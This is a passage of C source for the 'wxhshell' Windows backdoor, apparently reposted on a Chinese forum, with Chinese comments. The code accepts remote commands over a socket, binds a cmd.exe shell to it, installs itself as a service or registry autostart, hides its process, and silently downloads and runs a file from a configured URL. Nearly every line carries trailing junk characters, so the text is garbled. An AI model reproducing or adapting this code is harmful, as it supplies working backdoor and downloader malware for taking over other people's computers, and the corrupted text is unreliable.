  } T^KKy0ZGM  
  else { ^x,YW]AS}  
O/C rd/  
    switch(cmd[0]) { t:Q*gW Rh  
  A/s?x>QA  
  // 帮助 %$L{R  
  case '?': { f}e`XA?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ZBthU")?  
    break; <'*LRd$1  
  } ]ieeP4*  
  // 安装 ;^*W+,4WB  
  case 'i': { *)Zdz9E'1(  
    if(Install()) eMsd37J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CTa57R  
    else q} >%8;nm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O>,e~#!  
    break; IJ"q~r$  
    } pnOAs&QAm  
  // 卸载 oPM96 (  
  case 'r': { o*H<KaX  
    if(Uninstall()) bd-L` ={j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T8g$uFo  
    else =H8;iS2R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,O(hMI85]  
    break; =,M5KDk`  
    } QWYJ *  
  // 显示 wxhshell 所在路径 lo+A%\1  
  case 'p': { Xv^qVn4  
    char svExeFile[MAX_PATH]; i/4>2y9/F4  
    strcpy(svExeFile,"\n\r"); }7Q%6&IR  
      strcat(svExeFile,ExeFile); T~e.PP  
        send(wsh,svExeFile,strlen(svExeFile),0); |{ip T SH  
    break; L8B! u9%  
    } W6Fo6a"<  
  // 重启 V,njO{Q  
  case 'b': { 7. oM J  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fHFE){  
    if(Boot(REBOOT)) z} #JK? u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k(HUUH_z  
    else { |L ev.,,Ph  
    closesocket(wsh); %ET+iIhK  
    ExitThread(0); XL ^GZ  
    } k_#)Tw*  
    break; WyiQoN'q  
    } Zh~'9 JH  
  // 关机 yWSGi#)1  
  case 'd': { h376Be{P  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <hyKu  
    if(Boot(SHUTDOWN)) TLH1>pY&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eR>oq,  
    else { Bzf^ivT3L  
    closesocket(wsh); I?CZQ+}Hq  
    ExitThread(0); 'g\4O3&_  
    } L4W5EO$  
    break; R|(a@sL  
    } ;$4\e)AB  
  // 获取shell Pq$n5fZC !  
  case 's': { 1% `Rs  
    CmdShell(wsh); ? r4>"[  
    closesocket(wsh); =3P)q"  
    ExitThread(0); :ws<-Qy  
    break; At;LO9T3z  
  } }SZd  
  // 退出 ~} ~4  
  case 'x': { OyIw>Wfv  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "AqB$^S9t  
    CloseIt(wsh); tH4B:Bgj!  
    break; #'`{Qv0,  
    } KI.hy2?e  
  // 离开 vY3h3o  
  case 'q': { A#,ZUOPGH  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q>z8IlJ}  
    closesocket(wsh); .}+}8[p4l  
    WSACleanup(); *-X[u:  
    exit(1); ?Bmb' 3  
    break;  bN.Pex  
        } -{vD: Il=6  
  } kJR`:J3DJ  
  } 2~V*5~fb  
lB4WKn=?Kl  
  // 提示信息 6S #Cl>v  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7yQ4*UB  
} Lw,h+@0  
  }  M6TD"-  
/-s6<e!  
  return; |s_GlJV.  
} EqiY\/S  
#dHa,HUk  
// shell模块句柄 xIn:ZKJ'  
int CmdShell(SOCKET sock) :4|4=mkr  
{ !)$Zp\Sg  
STARTUPINFO si; k5)om;.w  
ZeroMemory(&si,sizeof(si)); +ZV5o&V>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @4#vm@Yf_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j8gdlIx  
PROCESS_INFORMATION ProcessInfo; /wG2vE8e  
char cmdline[]="cmd"; ,zc(t<|-y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9+N-eW_U  
  return 0; ="e+W@C  
} h+,@G,|D  
>Q*Wi  
// 自身启动模式 .+qpk*V\  
int StartFromService(void) Bbc^FHip  
{ d;>QhoiL  
typedef struct mkpMfPt  
{ unxqkU/<Z  
  DWORD ExitStatus; ]$hBMuUa  
  DWORD PebBaseAddress; $cg cX  
  DWORD AffinityMask; +ge?w#R  
  DWORD BasePriority; t JmTBsn  
  ULONG UniqueProcessId; dr"1s-D4IQ  
  ULONG InheritedFromUniqueProcessId; |j|rS5  
}   PROCESS_BASIC_INFORMATION; Gw` L"  
VEH>]-0K  
PROCNTQSIP NtQueryInformationProcess; gG uO  
05R@7[GWq  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; HOi`$vX }N  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; - YBY[%jF>  
d zMb5puH  
  HANDLE             hProcess; MK*r+xfSae  
  PROCESS_BASIC_INFORMATION pbi; Q{/Ef[(a@  
TqQ[_RKg2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ort(AfW  
  if(NULL == hInst ) return 0; |y*c9  
!IR6 ,A\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @VI@fN  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "M0z(N kH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qgB_=Q#E  
9H~n _   
  if (!NtQueryInformationProcess) return 0; $VR{q6[0S?  
i~72bMwsA  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =pr7G+_u  
  if(!hProcess) return 0; YkADk9fE  
A}w/OA97RO  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?A0)L27UE&  
O0:q;<>z  
  CloseHandle(hProcess); |BYRe1l6l  
ykJ>*z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C,zohlpC  
if(hProcess==NULL) return 0; )B*t :tN  
kf9X$d6   
HMODULE hMod; m[2gdJK  
char procName[255]; ig"L\ C"T  
unsigned long cbNeeded; #Q5o)x  
H*6W q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R-14=|7a-  
_dU\JD  
  CloseHandle(hProcess); Xc.`-J~Il  
NlXimq  
if(strstr(procName,"services")) return 1; // 以服务启动 1mJ Hued=6  
sRfcF`7  
  return 0; // 注册表启动 zeRyL3fnmb  
} }a/Cro.~4  
@]0%L0u  
// 主模块 (% 9$!v{3  
int StartWxhshell(LPSTR lpCmdLine) 0{mex4  
{ k=^xVQuI  
  SOCKET wsl; ?cZlN !  
BOOL val=TRUE; [Qr"cR^  
  int port=0; !m$jk2<  
  struct sockaddr_in door; ,,TnIouy  
qP;OaM CX  
  if(wscfg.ws_autoins) Install(); 4K74=r),i  
P2Y^d#jO  
port=atoi(lpCmdLine); d5d@k  
`h;[TtIX4  
if(port<=0) port=wscfg.ws_port; >sbu<|]a 7  
2SLU:=<3  
  WSADATA data; =c7;r]Ol  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n!(F, b  
/RF7j;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   u:EiwRW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pk~WrqK}  
  door.sin_family = AF_INET; T C"<g  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $xQL]FmS  
  door.sin_port = htons(port); 7Lt)nq-b  
05[SC}MCA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %)wjR/o  
closesocket(wsl); Hv, LS ;W  
return 1; 45oR=At n  
} v0y(58Rz.  
0IpmRH/  
  if(listen(wsl,2) == INVALID_SOCKET) { r*Xuj=  
closesocket(wsl); ;d?R:Uw8  
return 1; KlqY@Xt  
} Js;h%  
  Wxhshell(wsl); hOeRd#AQK  
  WSACleanup(); z)"=:o7  
~XIb\m9H  
return 0; ,0k;!YK  
f!"w5qC^  
} E_`=7 i  
@XVTU  
// 以NT服务方式启动 Ep}s}Stlr}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) uw7zWJ n  
{ tVjsRnb{  
DWORD   status = 0; M(fTKs  
  DWORD   specificError = 0xfffffff; s@C}P  
=Sv/IXX\di  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <uJ@:oWG7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |g~ZfnP_%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \DzGQ{`~m  
  serviceStatus.dwWin32ExitCode     = 0; yHGADH0B  
  serviceStatus.dwServiceSpecificExitCode = 0; pXUSLs  
  serviceStatus.dwCheckPoint       = 0; (#'>(t(4  
  serviceStatus.dwWaitHint       = 0; NO3/rJ6-  
j#6.Gq  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); n*$ g]G$  
  if (hServiceStatusHandle==0) return; xkn;,`t^lJ  
Yw9GN2AG  
status = GetLastError(); W4N{S.#!  
  if (status!=NO_ERROR) F5Va+z,jg  
{ +qoRP2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b]y2+A.n  
    serviceStatus.dwCheckPoint       = 0; h\e.e3/  
    serviceStatus.dwWaitHint       = 0; Y0>y8U V  
    serviceStatus.dwWin32ExitCode     = status; Z}QB.$&  
    serviceStatus.dwServiceSpecificExitCode = specificError; % `3jL7|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); iB{V^ksU  
    return; fIF8%J ^3  
  } 7 3m1  
$^ P0F9~0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; yjAL\U7`T  
  serviceStatus.dwCheckPoint       = 0; 7L??ae  
  serviceStatus.dwWaitHint       = 0; ]-q;4.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #F#%`Rv1  
} nK,w]{<wG!  
g){<y~Mk  
// 处理NT服务事件,比如:启动、停止 RZ7@cQY  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >/|*DI-HJ  
{ Uv.)?YeGh  
switch(fdwControl) 40/Y\  
{ %LV9=!w  
case SERVICE_CONTROL_STOP: ..qCPlK;  
  serviceStatus.dwWin32ExitCode = 0; YMgNzu  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G?ZXWu.  
  serviceStatus.dwCheckPoint   = 0; weQ_*<5%  
  serviceStatus.dwWaitHint     = 0; 8RX&k  
  { uS-|wYE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2?5>o!C  
  } q@qsp&0/  
  return; /ouPg=+Nl  
case SERVICE_CONTROL_PAUSE: e!Hhs/&!T  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _^;Z~/.  
  break; : 'c&,oLY  
case SERVICE_CONTROL_CONTINUE: xmG<]WF>E  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {FG j]*  
  break; ""H?gsL[  
case SERVICE_CONTROL_INTERROGATE: VnzZTG s  
  break; RpK@?[4s  
}; Q@niNDaW2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B6"0OIDY"  
} _+,TT['57s  
gSgr6TH0  
// 标准应用程序主函数 Gq6*SaTk  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) TJN4k@\$2  
{ nEfK53i_  
[ }:$yg  
// 获取操作系统版本 nu^436MSOa  
OsIsNt=GetOsVer(); ]yu:i-SfP  
GetModuleFileName(NULL,ExeFile,MAX_PATH); G6/m#  
>0gW4!7Y  
  // 从命令行安装 pJ=#zsE0  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;*N5Y}?j'  
),)lzN%!  
  // 下载执行文件 <GJbmRc|  
if(wscfg.ws_downexe) { N;d] 14|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) u y+pP!<  
  WinExec(wscfg.ws_filenam,SW_HIDE); /{[o ~:'p  
} mR~&)QBP.  
; KA~Z5x;  
if(!OsIsNt) { *#2h/Q.  
// 如果时win9x,隐藏进程并且设置为注册表启动 j+!v}*I![  
HideProc(); 9ati`-y2  
StartWxhshell(lpCmdLine); ?5p>BER?  
} i?/qY&~  
else q| 7(  
  if(StartFromService()) ==B6qX8T  
  // 以服务方式启动 ,_P-$lB  
  StartServiceCtrlDispatcher(DispatchTable); b' y%n   
else edD)TpmE,  
  // 普通方式启动 No$3"4wk  
  StartWxhshell(lpCmdLine);  bLL2  
FsPw1A$y  
return 0; : DNjhZ  
}
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只看该作者 1 发表于: 2006-10-10
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